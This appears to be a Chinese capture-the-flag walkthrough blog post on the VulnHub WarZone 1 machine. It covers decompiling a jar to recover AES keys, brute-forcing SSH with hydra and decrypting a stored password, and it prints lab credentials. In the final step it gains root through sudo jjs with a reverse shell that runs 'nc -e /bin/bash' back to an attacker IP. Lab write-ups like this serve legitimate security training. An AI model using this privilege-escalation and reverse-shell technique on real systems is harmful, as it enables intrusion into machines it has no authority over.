总结:这个靶机的有个知识点很不错,在对jar文件反编译后,重新改写了java源码,得到密码字典,ssh爆破后登录进入第一个用户commando;欲获取第二个用户captain的密码时,通过history发现逻辑过程,并写出解密py取得进入第二个用户;提权时发现jjs命令存在,用nc监听后java反弹命令执行成功。对我来说,亮点是:jar反编译后导入eclipse里修改少部分java源码,这块以前没搞过,这次是按图索骥地完成了,算是补上了一课。
一、靶机下载地址:https://download.vulnhub.com/warzone/Warzone.ova
二、开始工作
1、扫描
2、ftp匿名登录;有两个文件,当下来,
打开note.txt,是个提示:
另一个文件是jar包,执行后如下,还是拖到win下分析。
3、jadx载入,看应该是个AES类型的加密,
4、5000端口的httpd页面,栅栏加密,
查看网页的源代码,放入GPT解释下,
得出是栅栏密码,意思就是从上到下,从左到右顺序读取密文;
在源代码的最下面,有个注释,
按照解题的“逻辑”这应该是加密后的栅栏密码,
那就放入解密的网站解下http://www.atoolbox.net/Tool.php?Id=777,
5、放入url中访问,得到一个用户名和密码表,
username | password |
paratrooper | GJSFBy6jihz/GbfaeOiXwtqgHe1QutGVVFlyDXbxVRo= |
specops | mnKbQSV2k9UzJeTnJhoAyy4TqEryPw6ouANzIZMXF6Y= |
specforce | jiYMm39vW9pTr+6Z/6SafQ== |
aquaman | v9yjWjP7tKHLyt6ZCw5sxtktXIYm5ynlHmx+ZCI4OT4= |
commander | 2czKTfl/n519Kw5Ze7mVy4BsdzdzCbpRY8+BQxqnsYg= |
commando | +uj9HGdnyJvkBagdB1i26M9QzsxKHUI0EFMhhfaqt2A= |
pathfinder | eTQiiMXzrM4MkSItWUegd1rZ/pOIU0JyWlLNw2oW6oo= |
ranger | LBN5Syc7D7Bdj7utCbmBiT7pXU+bISYj33Qzf4CmIDs= |
三、修改jar,解密AES
1、jadx-gui打开warzone-encrypt.jar
将内容全部保存;
2、eclipser打开刚才保存的源码进行修改,
(1)Main.java:
package encrypt;
import java.util.Base64;
import java.util.Scanner;
import Other.Obfuscated;
import crypto.AES;
public class Main {
public static String decrypt(String encryptpasswd) {
Obfuscated obs = new Obfuscated();
AES ea = new AES(obs.getIV(), 128, obs.getKey());
try {
ea.cipher.init(2, ea.key, ea.iv);
byte[] encryptbytes = Base64.getDecoder().decode(encryptpasswd);
byte[] decryptbytes = ea.cipher.doFinal(encryptbytes);
return new String(decryptbytes);
} catch (Exception ex) {
throw new RuntimeException(ex.getMessage());
}
}
public static void main(String[] args) {
while (true) {
Scanner in = new Scanner(System.in);
System.out.print("enter the encryptpassword to decrypt : ");
String encryptpassword = in.nextLine();
System.out.println("password : " + decrypt(encryptpassword));
}
}
}
(2)AES.java:
package crypto;
import Other.Obfuscated;
import java.security.Key;
import java.security.MessageDigest;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class AES {
public static final IvParameterSpec DEFAULT_IV = new IvParameterSpec(new byte[19]);
public static final String ALGORITHM = "AES";
public static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
public Key key;
public IvParameterSpec iv;
public Cipher cipher;
public AES(String key) {
this(key, 128); }
public AES(String key, int bit) {
this(key, bit, null); }
public AES(String key, int bit, String iv) {
if (bit == 256) {
this.key = new SecretKeySpec(getHash("SHA-256", key), "AES");
} else {
this.key = new SecretKeySpec(getHash("MD5", key), "AES"); }
if (iv != null) {
this.iv = new IvParameterSpec(getHash("MD5", iv));
} else { this.iv = DEFAULT_IV; }
init();
}
public static byte[] getHash(String algorithm, String text) {
try {
return getHash(algorithm, text.getBytes("UTF-8"));
} catch (Exception ex) { throw new RuntimeException(ex.getMessage()); }
}
public static byte[] getHash(String algorithm, byte[] data) {
try {
MessageDigest digest = MessageDigest.getInstance(algorithm);
digest.update(data);
return digest.digest();
} catch (Exception ex) { throw new RuntimeException(ex.getMessage()); }
}
public void init() {
try { this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
} catch (Exception ex) { throw new RuntimeException(ex.getMessage()); }
}
public String encrypt(String str) {
try { return encrypt(str.getBytes("UTF-8"));
} catch (Exception ex) { throw new RuntimeException(ex.getMessage()); }
}
public String encrypt(byte[] data) {
try {
this.cipher.init(1, this.key, this.iv);
byte[] encryptData = this.cipher.doFinal(data);
return new String(Base64.getEncoder().encode(encryptData));
} catch (Exception ex) { throw new RuntimeException(ex.getMessage()); }
}
public static String encryptString(String content) {
Obfuscated obs = new Obfuscated();
AES ea = new AES(obs.getIV(), 128, obs.getKey());
return ea.encrypt(content);
}
}
(3)Obfuscated.java:
package Other;
public class Obfuscated {
public String getIV() { return "w4rz0n3s3cur31vv"; }
public String getKey() { return "w4rz0n3s3cur3k3y"; }
}
3、运行下,输入刚才的密码,进行解密,
将上面的用户名保存为username.txt,将解密的密码保存在password.txt;
四、破解ssh
1、利用hydra破解
得出用户名commando和密码c0mmandosArentRea1.!
2、ssh登录第一个用户commando
3、history记录
4、查看user.txt文件,没权限
在history里发现有个.crypt
进入后,查看readme,提醒密码就在这里,还有一段加密程序encrypt.py,
5、再解密
(1)encrypt.py内容为:
这里要注意,在代码里 password ='<remove for security reason>',这句话的意思是“因安全原因移除密码”,所以这里的密码隐藏起来了。
这里还有个script.sh文件,看下内容:
#!/bin/bash
python3 encrypt.py > /home/captain/Desktop/.crypt/.c
在history中有这个记录,说明执行过了,那就是将encrypt.py的加密后的结果放入.c这个文件中,反过来,我们可以通过.c这个密文来逆向出原始密码是多少。
(2)cat .c
b'c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw=='
(3)写个解密程序,
在攻击机中写个解密程序,如下:
#!/usr/bin/python3
from simplecrypt import encrypt, decrypt
import os
import base64
key = 'sekret'
text = base64.b64decode('c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw==')
passwd = decrypt(key, text)
print(passwd)
运行下,得出原始密码为:b'_us3rz0ne_F1RE'
五、切换第二个用户captain
(1)su captain
输入密码_us3rz0ne_F1RE,打开不能打开的文件user.txt,
获取了第1个flag。
六、jjs提权
(1)sudo -l
查下GPT的解释
jjs是让javascript可以调用java,可以执行特权命令
(2)反弹
在攻击机中监听,
nc -lvvp 8999
在靶机中执行,
echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.137.128 8999')"|sudo jjs
当出现jjs>>这样的标识时,到攻击机中查看,
说明成功地反弹了,至此,获取了第2个flag。结束!!
感想:发现这段时间,大家对靶机的兴趣不是很大,阅读量较少,我也能理解。但就我这段时间的学习效果来看,收获还是蛮大的,拓宽了我的知识面,增长了我的见识;能成为靶机,都是有闪光点的,希望大家能够跟我一起学习成长。
原文始发于微信公众号(MicroPest):反编译jar-jjs提权:WarZone1靶机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论